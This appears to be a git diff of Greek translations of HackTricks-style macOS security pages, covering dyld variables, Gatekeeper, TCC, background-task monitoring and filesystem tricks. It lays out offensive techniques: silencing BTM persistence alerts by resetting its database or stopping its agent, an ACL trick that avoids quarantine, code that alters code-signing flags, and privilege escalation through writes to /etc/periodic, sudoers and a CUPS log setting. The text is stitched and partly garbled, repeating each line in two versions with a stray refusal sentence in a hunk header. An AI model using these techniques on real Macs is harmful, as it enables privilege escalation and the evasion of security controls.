Αυτή είναι μια δομή που εξάγεται από το dyld με πληροφορίες σχετικά με την κατάσταση του dyld που μπορεί να βρεθεί στον [**κώδικα πηγής**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) με πληροφορίες όπως η έκδοση, δείκτης στον πίνακα dyld_image_info, στον dyld_image_notifier, αν η διαδικασία είναι αποσυνδεδεμένη από την κοινή μνήμη, αν κλήθηκε ο αρχικοποιητής libSystem, δείκτης στην κεφαλίδα Mach του dylib, δείκτης στη συμβολοσειρά έκδοσης του dyld...
Αυτή είναι μια δομή που εξάγεται από το dyld με πληροφορίες σχετικά με την κατάσταση του dyld που μπορεί να βρεθεί στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) με πληροφορίες όπως η έκδοση, δείκτης στον πίνακα dyld_image_info, στον dyld_image_notifier, αν η διαδικασία είναι αποσυνδεδεμένη από την κοινή μνήμη, αν κλήθηκε ο αρχικοποιητής libSystem, δείκτης στην κεφαλίδα Mach του dyls, δείκτης στη συμβολοσειρά έκδοσης του dyld...
## dyld env variables
@ -190,7 +190,7 @@ I'm sorry, but I cannot provide the content you requested.
- **DYLD_PRINT_LIBRARIES**
Ελέγξτε κάθε βιβλιοθήκη που φορτώνεται:
Έλεγξε κάθε βιβλιοθήκη που φορτώνεται:
```
DYLD_PRINT_LIBRARIES=1 ./apple
dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
@ -253,7 +253,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
```
### Άλλα
- `DYLD_BIND_AT_LAUNCH`: Οι καθυστερημένες συνδέσεις επιλύονται με τις μη καθυστερημένες
- `DYLD_BIND_AT_LAUNCH`: Οι τεμπέλικες συνδέσεις επιλύονται με μη τεμπέλικες
- `DYLD_DISABLE_PREFETCH`: Απενεργοποίηση της προφόρτωσης περιεχομένου \_\_DATA και \_\_LINKEDIT
- `DYLD_FORCE_FLAT_NAMESPACE`: Συνδέσεις ενός επιπέδου
- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Διαδρομές επίλυσης
@ -264,12 +264,12 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_PRINT_BINDINGS`: Εκτύπωση συμβόλων κατά την σύνδεση
- `DYLD_WEAK_BINDINGS`: Μόνο εκτύπωση αδύναμων συμβόλων κατά την σύνδεση
- `DYLD_PRINT_CODE_SIGNATURES`: Εκτύπωση λειτουργιών καταχώρισης υπογραφής κώδικα
- `DYLD_PRINT_DOFS`: Εκτύπωση τμημάτων μορφής αντικειμένου D-Trace όπως φορτώθηκαν
- `DYLD_PRINT_DOFS`: Εκτύπωση τμημάτων μορφής αντικειμένου D-Trace καθώς φορτώνονται
- `DYLD_PRINT_ENV`: Εκτύπωση του περιβάλλοντος που βλέπει το dyld
- `DYLD_PRINT_INTERPOSTING`: Εκτύπωση λειτουργιών διαμεσολάβησης
- `DYLD_PRINT_LIBRARIES`: Εκτύπωση των βιβλιοθηκών που φορτώθηκαν
- `DYLD_PRINT_OPTS`: Εκτύπωση επιλογών φόρτωσης
- `DYLD_REBASING`: Εκτύπωση λειτουργιών επανασύνδεσης συμβόλων
- `DYLD_REBASING`: Εκτύπωση λειτουργιών επανατοποθέτησης συμβόλων
- `DYLD_RPATHS`: Εκτύπωση επεκτάσεων του @rpath
- `DYLD_PRINT_SEGMENTS`: Εκτύπωση χαρτογραφήσεων τμημάτων Mach-O
- `DYLD_PRINT_STATISTICS`: Εκτύπωση στατιστικών χρόνου

View File

@ -4,7 +4,7 @@
## Gatekeeper
Ο Gatekeeper χρησιμοποιείται συνήθως για να αναφέρεται στον συνδυασμό **Quarantine + Gatekeeper + XProtect**, 3 μονάδες ασφαλείας του macOS που προσπαθούν να **αποτρέψουν τους χρήστες από το να εκτελούν δυνητικά κακόβουλο λογισμικό που έχει κατεβεί**.
Ο Gatekeeper χρησιμοποιείται συνήθως για να αναφέρεται στον συνδυασμό **Quarantine + Gatekeeper + XProtect**, 3 μονάδες ασφαλείας macOS που προσπαθούν να **αποτρέψουν τους χρήστες από το να εκτελούν δυνητικά κακόβουλο λογισμικό που έχει κατεβεί**.
Περισσότερες πληροφορίες στο:
@ -32,7 +32,7 @@ macos-sandbox/
### TCC - **Transparency, Consent, and Control**
**TCC (Transparency, Consent, and Control)** είναι ένα πλαίσιο ασφαλείας. Είναι σχεδιασμένο να **διαχειρίζεται τις άδειες** των εφαρμογών, ρυθμίζοντας συγκεκριμένα την πρόσβασή τους σε ευαίσθητες δυνατότητες. Αυτό περιλαμβάνει στοιχεία όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρη πρόσβαση δίσκου**. Το TCC διασφαλίζει ότι οι εφαρμογές μπορούν να έχουν πρόσβαση σε αυτές τις δυνατότητες μόνο μετά από ρητή συγκατάθεση του χρήστη, ενισχύοντας έτσι την ιδιωτικότητα και τον έλεγχο των προσωπικών δεδομένων.
**TCC (Transparency, Consent, and Control)** είναι ένα πλαίσιο ασφαλείας. Είναι σχεδιασμένο για να **διαχειρίζεται τις άδειες** των εφαρμογών, ρυθμίζοντας συγκεκριμένα την πρόσβασή τους σε ευαίσθητες δυνατότητες. Αυτό περιλαμβάνει στοιχεία όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρη πρόσβαση στο δίσκο**. Το TCC διασφαλίζει ότι οι εφαρμογές μπορούν να έχουν πρόσβαση σε αυτές τις δυνατότητες μόνο μετά από ρητή συγκατάθεση του χρήστη, ενισχύοντας έτσι την ιδιωτικότητα και τον έλεγχο των προσωπικών δεδομένων.
{{#ref}}
macos-tcc/
@ -40,7 +40,7 @@ macos-tcc/
### Launch/Environment Constraints & Trust Cache
Οι περιορισμοί εκκίνησης στο macOS είναι μια λειτουργία ασφαλείας για να **ρυθμίζουν την εκκίνηση διαδικασιών** καθορίζοντας **ποιος μπορεί να εκκινήσει** μια διαδικασία, **πώς** και **από πού**. Εισήχθη στο macOS Ventura, κατηγοριοποιούν τα συστήματα δυαδικών αρχείων σε κατηγορίες περιορισμών μέσα σε μια **cache εμπιστοσύνης**. Κάθε εκτελέσιμο δυαδικό αρχείο έχει καθορισμένους **κανόνες** για την **εκκίνηση** του, συμπεριλαμβανομένων των **self**, **parent** και **responsible** περιορισμών. Επεκτάθηκε σε εφαρμογές τρίτων ως **Environment** Constraints στο macOS Sonoma, αυτές οι δυνατότητες βοηθούν στη μείωση πιθανών εκμεταλλεύσεων του συστήματος ρυθμίζοντας τις συνθήκες εκκίνησης διαδικασιών.
Οι περιορισμοί εκκίνησης στο macOS είναι μια λειτουργία ασφαλείας για να **ρυθμίζουν την εκκίνηση διαδικασιών** καθορίζοντας **ποιος μπορεί να εκκινήσει** μια διαδικασία, **πώς** και **από πού**. Εισήχθη στο macOS Ventura, κατηγοριοποιούν τα συστήματα δυαδικών αρχείων σε κατηγορίες περιορισμών εντός ενός **trust cache**. Κάθε εκτελέσιμο δυαδικό αρχείο έχει καθορισμένους **κανόνες** για την **εκκίνηση** του, συμπεριλαμβανομένων των **self**, **parent** και **responsible** περιορισμών. Επεκτάθηκε σε εφαρμογές τρίτων ως **Environment** Constraints στο macOS Sonoma, αυτές οι δυνατότητες βοηθούν στη μείωση πιθανών εκμεταλλεύσεων του συστήματος ρυθμίζοντας τις συνθήκες εκκίνησης διαδικασιών.
{{#ref}}
macos-launch-environment-constraints.md
@ -48,20 +48,20 @@ macos-launch-environment-constraints.md
## MRT - Malware Removal Tool
Το Malware Removal Tool (MRT) είναι άλλο ένα μέρος της υποδομής ασφαλείας του macOS. Όπως υποδηλώνει το όνομα, η κύρια λειτουργία του MRT είναι να **αφαιρεί γνωστό κακόβουλο λογισμικό από μολυσμένα συστήματα**.
Το Malware Removal Tool (MRT) είναι ένα άλλο μέρος της υποδομής ασφαλείας του macOS. Όπως υποδηλώνει το όνομα, η κύρια λειτουργία του MRT είναι να **αφαιρεί γνωστό κακόβουλο λογισμικό από μολυσμένα συστήματα**.
Μόλις ανιχνευθεί κακόβουλο λογισμικό σε ένα Mac (είτε από το XProtect είτε με κάποιο άλλο τρόπο), το MRT μπορεί να χρησιμοποιηθεί για να **αφαιρέσει αυτόματα το κακόβουλο λογισμικό**. Το MRT λειτουργεί σιωπηλά στο παρασκήνιο και συνήθως εκτελείται κάθε φορά που το σύστημα ενημερώνεται ή όταν κατεβαίνει μια νέα ορισμός κακόβουλου λογισμικού (φαίνεται ότι οι κανόνες που έχει το MRT για την ανίχνευση κακόβουλου λογισμικού είναι μέσα στο δυαδικό αρχείο).
Μόλις ανιχνευθεί κακόβουλο λογισμικό σε ένα Mac (είτε από το XProtect είτε με κάποιο άλλο μέσο), το MRT μπορεί να χρησιμοποιηθεί για να **αφαιρέσει αυτόματα το κακόβουλο λογισμικό**. Το MRT λειτουργεί σιωπηλά στο παρασκήνιο και συνήθως εκτελείται κάθε φορά που το σύστημα ενημερώνεται ή όταν κατεβαίνει μια νέα ορισμός κακόβουλου λογισμικού (φαίνεται ότι οι κανόνες που έχει το MRT για την ανίχνευση κακόβουλου λογισμικού είναι μέσα στο δυαδικό).
Ενώ τόσο το XProtect όσο και το MRT είναι μέρος των μέτρων ασφαλείας του macOS, εκτελούν διαφορετικές λειτουργίες:
- **XProtect** είναι ένα προληπτικό εργαλείο. **Ελέγχει τα αρχεία καθώς κατεβαίνουν** (μέσω ορισμένων εφαρμογών), και αν ανιχνεύσει οποιοδήποτε γνωστό τύπο κακόβουλου λογισμικού, **αποτρέπει το άνοιγμα του αρχείου**, αποτρέποντας έτσι το κακόβουλο λογισμικό από το να μολύνει το σύστημα σας εξαρχής.
- **MRT**, από την άλλη πλευρά, είναι ένα **αντιδραστικό εργαλείο**. Λειτουργεί αφού έχει ανιχνευθεί κακόβουλο λογισμικό σε ένα σύστημα, με στόχο την αφαίρεση του ενοχλητικού λογισμικού για να καθαρίσει το σύστημα.
- **MRT**, από την άλλη πλευρά, είναι ένα **αντιδραστικό εργαλείο**. Λειτουργεί αφού έχει ανιχνευθεί κακόβουλο λογισμικό σε ένα σύστημα, με στόχο την αφαίρεση του επιβλαβούς λογισμικού για να καθαρίσει το σύστημα.
Η εφαρμογή MRT βρίσκεται στο **`/Library/Apple/System/Library/CoreServices/MRT.app`**
## Background Tasks Management
**macOS** τώρα **ειδοποιεί** κάθε φορά που ένα εργαλείο χρησιμοποιεί μια γνωστή **τεχνική για τη διατήρηση της εκτέλεσης κώδικα** (όπως τα Login Items, Daemons...), ώστε ο χρήστης να γνωρίζει καλύτερα **ποιο λογισμικό διατηρείται**.
**macOS** τώρα **ειδοποιεί** κάθε φορά που ένα εργαλείο χρησιμοποιεί μια γνωστή **τεχνική για να διατηρήσει την εκτέλεση κώδικα** (όπως τα Login Items, Daemons...), έτσι ώστε ο χρήστης να γνωρίζει καλύτερα **ποιο λογισμικό διατηρείται**.
<figure><img src="../../../images/image (1183).png" alt=""><figcaption></figcaption></figure>
@ -69,7 +69,7 @@ macos-launch-environment-constraints.md
Ο τρόπος που **`backgroundtaskmanagementd`** γνωρίζει ότι κάτι είναι εγκατεστημένο σε έναν μόνιμο φάκελο είναι μέσω της **λήψης των FSEvents** και της δημιουργίας ορισμένων **handlers** για αυτά.
Επιπλέον, υπάρχει ένα αρχείο plist που περιέχει **γνωστές εφαρμογές** που διατηρούνται συχνά από την Apple και βρίσκεται στο: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
Επιπλέον, υπάρχει ένα αρχείο plist που περιέχει **γνωστές εφαρμογές** που συχνά διατηρούνται από την Apple και βρίσκεται στο: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
```json
[...]
"us.zoom.ZoomDaemon" => {
@ -101,9 +101,9 @@ xattr -rc dumpBTM # Remove quarantine attr
```
Αυτές οι πληροφορίες αποθηκεύονται στο **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** και το Terminal χρειάζεται FDA.
### Παρεμβαίνοντας στο BTM
### Ανακατεύοντας με το BTM
Όταν βρεθεί μια νέα επιμονή, δημιουργείται ένα γεγονός τύπου **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Έτσι, οποιοσδήποτε τρόπος για να **αποτραπεί** αυτή η **εκδήλωση** από το να σταλεί ή ο **πράκτορας από το να ειδοποιήσει** τον χρήστη θα βοηθήσει έναν επιτιθέμενο να _**παρακάμψει**_ το BTM.
Όταν βρεθεί μια νέα επιμονή, συμβαίνει ένα γεγονός τύπου **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Έτσι, οποιοσδήποτε τρόπος για να **αποτραπεί** αυτή η **εκδήλωση** από το να σταλεί ή ο **πράκτορας να ειδοποιήσει** τον χρήστη θα βοηθήσει έναν επιτιθέμενο να _**παρακάμψει**_ το BTM.
- **Επαναφορά της βάσης δεδομένων**: Η εκτέλεση της παρακάτω εντολής θα επαναφέρει τη βάση δεδομένων (θα πρέπει να την ξαναχτίσει από την αρχή), ωστόσο, για κάποιο λόγο, μετά την εκτέλεση αυτού, **καμία νέα επιμονή δεν θα ειδοποιηθεί μέχρι να επανεκκινήσει το σύστημα**.
- Απαιτείται **root**.
@ -111,7 +111,7 @@ xattr -rc dumpBTM # Remove quarantine attr
# Reset the database
sfltool resettbtm
```
- **Σταματήστε τον Πράκτορα**: Είναι δυνατόν να στείλετε ένα σήμα διακοπής στον πράκτορα ώστε να **μην ειδοποιεί τον χρήστη** όταν εντοπίζονται νέες ανιχνεύσεις.
- **Σταματήστε τον Πράκτορα**: Είναι δυνατόν να στείλετε ένα σήμα διακοπής στον πράκτορα ώστε **να μην ειδοποιεί τον χρήστη** όταν εντοπίζονται νέες ανιχνεύσεις.
```bash
# Get PID
pgrep BackgroundTaskManagementAgent
@ -126,7 +126,7 @@ T
```
- **Σφάλμα**: Αν η **διαδικασία που δημιούργησε την επιμονή υπάρχει γρήγορα αμέσως μετά από αυτήν**, ο δαίμονας θα προσπαθήσει να **λάβει πληροφορίες** γι' αυτήν, **θα αποτύχει**, και **δεν θα μπορέσει να στείλει το γεγονός** που υποδεικνύει ότι ένα νέο πράγμα επιμένει.
Αναφορές και **περισσότερες πληροφορίες σχετικά με το BTM**:
References and **more information about BTM**:
- [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
- [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)

View File

@ -6,11 +6,11 @@
Δικαιώματα σε έναν **φάκελο**:
- **ανάγνωση** - μπορείτε να **καταμετρήσετε** τις καταχωρίσεις του φακέλου
- **εγγραφή** - μπορείτε να **διαγράψετε/γράψετε** **αρχεία** στον φάκελο και μπορείτε να **διαγράψετε κενές φακέλους**.
- Αλλά δεν μπορείτε να **διαγράψετε/τροποποιήσετε μη κενές φακέλους** εκτός αν έχετε δικαιώματα εγγραφής πάνω τους.
- Δεν μπορείτε να **τροποποιήσετε το όνομα ενός φακέλου** εκτός αν τον κατέχετε.
- **εκτέλεση** - έχετε **δικαίωμα να διασχίσετε** τον φάκελο - αν δεν έχετε αυτό το δικαίωμα, δεν μπορείτε να έχετε πρόσβαση σε κανένα αρχείο μέσα σε αυτόν, ή σε οποιουσδήποτε υποφακέλους.
- **ανάγνωση** - μπορείτε να **καταμετρήσετε** τις καταχωρήσεις του φακέλου
- **εγγραφή** - μπορείτε να **διαγράψετε/γράψετε** **αρχεία** στον φάκελο και μπορείτε να **διαγράψετε άδειους φακέλους**.
- Αλλά **δεν μπορείτε να διαγράψετε/τροποποιήσετε μη άδειους φακέλους** εκτός αν έχετε δικαιώματα εγγραφής πάνω τους.
- **δεν μπορείτε να τροποποιήσετε το όνομα ενός φακέλου** εκτός αν τον κατέχετε.
- **εκτέλεση** - σας **επιτρέπεται να διασχίσετε** τον φάκελο - αν δεν έχετε αυτό το δικαίωμα, δεν μπορείτε να έχετε πρόσβαση σε κανένα αρχείο μέσα σε αυτόν ή σε οποιουσδήποτε υποφακέλους.
### Επικίνδυνοι Συνδυασμοί
@ -32,17 +32,17 @@
### Επιτρεπτικό αρχείο/φάκελος
Αν μια προνομιακή διαδικασία γράφει δεδομένα σε **αρχείο** που θα μπορούσε να είναι **ελεγχόμενο** από έναν **χρήστη με χαμηλότερα προνόμια**, ή που θα μπορούσε να έχει **δημιουργηθεί προηγουμένως** από έναν χρήστη με χαμηλότερα προνόμια. Ο χρήστης θα μπορούσε απλά να **δείξει σε ένα άλλο αρχείο** μέσω ενός Συμβολικού ή Σκληρού συνδέσμου, και η προνομιακή διαδικασία θα γράψει σε αυτό το αρχείο.
Αν μια προνομιακή διαδικασία γράφει δεδομένα σε **αρχείο** που θα μπορούσε να **ελεγχθεί** από έναν **χρήστη με χαμηλότερα προνόμια**, ή που θα μπορούσε να έχει **δημιουργηθεί προηγουμένως** από έναν χρήστη με χαμηλότερα προνόμια. Ο χρήστης θα μπορούσε απλά να **δείξει σε ένα άλλο αρχείο** μέσω ενός Συμβολικού ή Σκληρού συνδέσμου, και η προνομιακή διαδικασία θα γράψει σε αυτό το αρχείο.
Ελέγξτε σε άλλες ενότητες όπου ένας επιτιθέμενος θα μπορούσε να **καταχραστεί μια αυθαίρετη εγγραφή για να κλιμακώσει τα προνόμια**.
### Ανοιχτό `O_NOFOLLOW`
Η σημαία `O_NOFOLLOW` όταν χρησιμοποιείται από τη συνάρτηση `open` δεν θα ακολουθήσει έναν συμβολικό σύνδεσμο στο τελευταίο συστατικό της διαδρομής, αλλά θα ακολουθήσει την υπόλοιπη διαδρομή. Ο σωστός τρόπος για να αποτρέψετε την ακολουθία συμβολικών συνδέσμων στη διαδρομή είναι να χρησιμοποιήσετε τη σημαία `O_NOFOLLOW_ANY`.
Η σημαία `O_NOFOLLOW` όταν χρησιμοποιείται από τη συνάρτηση `open` δεν θα ακολουθήσει έναν συμβολικό σύνδεσμο στο τελευταίο συστατικό της διαδρομής, αλλά θα ακολουθήσει την υπόλοιπη διαδρομή. Ο σωστός τρόπος για να αποτρέψετε την ακολουθία συμβολικών συνδέσμων στη διαδρομή είναι χρησιμοποιώντας τη σημαία `O_NOFOLLOW_ANY`.
## .fileloc
Αρχεία με επέκταση **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά, έτσι όταν ανοίγουν, η εφαρμογή/δυαδικό θα είναι αυτό που θα εκτελείται.\
Αρχεία με κατάληξη **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά, έτσι όταν ανοίγουν, η εφαρμογή/δυαδικό θα είναι αυτό που θα εκτελείται.\
Παράδειγμα:
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -122,7 +122,7 @@ ls -le /tmp/test
**AppleDouble** μορφή αρχείου αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του.
Στον [**κώδικα πηγής**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η κείμενη αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
Στον [**κώδικα πηγής**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η κειμενική αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
Έλεγξε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) για περισσότερες πληροφορίες.
@ -148,6 +148,7 @@ ls -le test
Not really needed but I leave it there just in case:
{{#ref}}
macos-xattr-acls-extra-stuff.md
{{#endref}}
@ -160,7 +161,7 @@ macos-xattr-acls-extra-stuff.md
### Παράκαμψη σημαιών `CS_REQUIRE_LV` και `CS_FORCED_LV`
Είναι δυνατόν για ένα εκτελούμενο δυαδικό αρχείο να τροποποιήσει τις δικές του σημαίες για να παρακάμψει τους ελέγχους με έναν κώδικα όπως:
Είναι δυνατόν για ένα εκτελούμενο δυαδικό αρχείο να τροποποιήσει τις δικές του σημαίες για να παρακάμψει ελέγχους με έναν κώδικα όπως:
```c
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
@ -173,9 +174,9 @@ csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
```
## Bypass Code Signatures
## Παράκαμψη Υπογραφών Κώδικα
Τα πακέτα περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε μεμονωμένου **αρχείου** στο **πακέτο**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να ασχοληθούμε με αυτό, επίσης.
Τα πακέτα περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε μεμονωμένου **αρχείου** στο **πακέτο**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να παρέμβουμε σε αυτό.
Ωστόσο, υπάρχουν κάποια αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί, αυτά έχουν το κλειδί omit στο plist, όπως:
```xml
@ -248,14 +249,14 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
```
Συνήθως, το macOS τοποθετεί δίσκους επικοινωνώντας με την υπηρεσία Mach `com.apple.DiskArbitration.diskarbitrationd` (παρέχεται από το `/usr/libexec/diskarbitrationd`). Αν προσθέσετε την παράμετρο `-d` στο αρχείο plist των LaunchDaemons και κάνετε επανεκκίνηση, θα αποθηκεύει τα αρχεία καταγραφής στο `/var/log/diskarbitrationd.log`.\
Συνήθως, το macOS τοποθετεί δίσκους επικοινωνώντας με την υπηρεσία Mach `com.apple.DiskArbitration.diskarbitrationd` (παρέχεται από το `/usr/libexec/diskarbitrationd`). Αν προσθέσετε την παράμετρο `-d` στο αρχείο plist των LaunchDaemons και το επανεκκινήσετε, θα αποθηκεύει τα αρχεία καταγραφής στο `/var/log/diskarbitrationd.log`.\
Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε εργαλεία όπως το `hdik` και το `hdiutil` για να επικοινωνήσετε απευθείας με το kext `com.apple.driver.DiskImages`.
## Αυθαίρετες Εγγραφές
### Περιοδικά sh scripts
Αν το script σας μπορεί να ερμηνευθεί ως **shell script**, μπορείτε να αντικαταστήσετε το **`/etc/periodic/daily/999.local`** shell script που θα ενεργοποιείται κάθε μέρα.
Αν το script σας μπορεί να ερμηνευτεί ως **shell script**, μπορείτε να αντικαταστήσετε το **`/etc/periodic/daily/999.local`** shell script που θα ενεργοποιείται κάθε μέρα.
Μπορείτε να **προσομοιώσετε** μια εκτέλεση αυτού του script με: **`sudo periodic daily`**
@ -278,6 +279,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
</dict>
</plist>
```
```markdown
Απλά δημιουργήστε το σενάριο `/Applications/Scripts/privesc.sh` με τις **εντολές** που θα θέλατε να εκτελέσετε ως root.
### Sudoers File
@ -296,6 +298,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
Δημιουργήστε το αρχείο `/etc/cups/cups-files.conf` με το παρακάτω περιεχόμενο:
```
```
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
@ -310,9 +313,9 @@ LogFilePerm 777
Είναι δυνατόν να ξεφύγετε από το sandbox του macOS με μια FS αυθαίρετη εγγραφή. Για μερικά παραδείγματα, ελέγξτε τη σελίδα [macOS Auto Start](../../../../macos-auto-start-locations.md) αλλά ένα κοινό είναι να γράψετε ένα αρχείο προτιμήσεων Terminal στο `~/Library/Preferences/com.apple.Terminal.plist` που εκτελεί μια εντολή κατά την εκκίνηση και να το καλέσετε χρησιμοποιώντας το `open`.
## Generate writable files as other users
## Δημιουργία εγγράφων που μπορούν να γραφούν ως άλλοι χρήστες
Αυτό θα δημιουργήσει ένα αρχείο που ανήκει στον root και είναι εγ writable από εμένα ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Αυτό μπορεί επίσης να λειτουργήσει ως privesc:
Αυτό θα δημιουργήσει ένα αρχείο που ανήκει στον root και είναι εγγράψιμο από εμένα ([**κώδικας από εδώ**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Αυτό μπορεί επίσης να λειτουργήσει ως privesc:
```bash
DIRNAME=/usr/local/etc/periodic/daily
@ -326,11 +329,11 @@ echo $FILENAME
```
## POSIX Shared Memory
**POSIX shared memory** επιτρέπει στις διεργασίες σε λειτουργικά συστήματα συμβατά με POSIX να έχουν πρόσβαση σε μια κοινή περιοχή μνήμης, διευκολύνοντας ταχύτερη επικοινωνία σε σύγκριση με άλλες μεθόδους επικοινωνίας μεταξύ διεργασιών. Περιλαμβάνει τη δημιουργία ή το άνοιγμα ενός αντικειμένου κοινής μνήμης με `shm_open()`, την ρύθμιση του μεγέθους του με `ftruncate()`, και την αντιστοίχιση του στη διεύθυνση μνήμης της διεργασίας χρησιμοποιώντας `mmap()`. Οι διεργασίες μπορούν στη συνέχεια να διαβάζουν και να γράφουν απευθείας σε αυτήν την περιοχή μνήμης. Για τη διαχείριση ταυτόχρονων προσβάσεων και την αποφυγή διαφθοράς δεδομένων, χρησιμοποιούνται συχνά μηχανισμοί συγχρονισμού όπως οι mutexes ή οι semaphores. Τέλος, οι διεργασίες αποδεσμεύουν και κλείνουν την κοινή μνήμη με `munmap()` και `close()`, και προαιρετικά αφαιρούν το αντικείμενο μνήμης με `shm_unlink()`. Αυτό το σύστημα είναι ιδιαίτερα αποτελεσματικό για αποδοτική, γρήγορη IPC σε περιβάλλοντα όπου πολλές διεργασίες χρειάζεται να έχουν γρήγορη πρόσβαση σε κοινά δεδομένα.
**Η κοινή μνήμη POSIX** επιτρέπει στις διεργασίες σε λειτουργικά συστήματα συμβατά με POSIX να έχουν πρόσβαση σε μια κοινή περιοχή μνήμης, διευκολύνοντας ταχύτερη επικοινωνία σε σύγκριση με άλλες μεθόδους επικοινωνίας μεταξύ διεργασιών. Περιλαμβάνει τη δημιουργία ή το άνοιγμα ενός αντικειμένου κοινής μνήμης με `shm_open()`, την ρύθμιση του μεγέθους του με `ftruncate()`, και την αντιστοίχιση του στη διεύθυνση μνήμης της διεργασίας χρησιμοποιώντας `mmap()`. Οι διεργασίες μπορούν στη συνέχεια να διαβάζουν και να γράφουν απευθείας σε αυτήν την περιοχή μνήμης. Για τη διαχείριση ταυτόχρονων προσβάσεων και την αποφυγή διαφθοράς δεδομένων, χρησιμοποιούνται συχνά μηχανισμοί συγχρονισμού όπως οι mutexes ή οι semaphores. Τέλος, οι διεργασίες αποδεσμεύουν και κλείνουν την κοινή μνήμη με `munmap()` και `close()`, και προαιρετικά αφαιρούν το αντικείμενο μνήμης με `shm_unlink()`. Αυτό το σύστημα είναι ιδιαίτερα αποτελεσματικό για αποδοτική, γρήγορη IPC σε περιβάλλοντα όπου πολλές διεργασίες χρειάζεται να έχουν γρήγορη πρόσβαση σε κοινά δεδομένα.
<details>
<summary>Producer Code Example</summary>
<summary>Παράδειγμα Κώδικα Παραγωγού</summary>
```c
// gcc producer.c -o producer -lrt
#include <fcntl.h>
@ -424,9 +427,9 @@ return 0;
**macOSCguarded descriptors** είναι μια λειτουργία ασφαλείας που εισήχθη στο macOS για να ενισχύσει την ασφάλεια και την αξιοπιστία των **λειτουργιών περιγραφής αρχείων** σε εφαρμογές χρήστη. Αυτοί οι προστατευμένοι περιγραφείς παρέχουν έναν τρόπο για να συσχετίσουν συγκεκριμένους περιορισμούς ή "φύλακες" με περιγραφείς αρχείων, οι οποίοι επιβάλλονται από τον πυρήνα.
Αυτή η λειτουργία είναι ιδιαίτερα χρήσιμη για την πρόληψη ορισμένων κατηγοριών ευπαθειών ασφαλείας όπως η **μη εξουσιοδοτημένη πρόσβαση σε αρχεία** ή οι **συνθήκες αγώνα**. Αυτές οι ευπάθειες συμβαίνουν όταν, για παράδειγμα, ένα νήμα έχει πρόσβαση σε μια περιγραφή αρχείου δίνοντας **σε ένα άλλο ευάλωτο νήμα πρόσβαση σε αυτήν** ή όταν ένας περιγραφέας αρχείου είναι **κληρονομούμενος** από μια ευάλωτη διεργασία παιδί. Ορισμένες συναρτήσεις που σχετίζονται με αυτή τη λειτουργικότητα είναι:
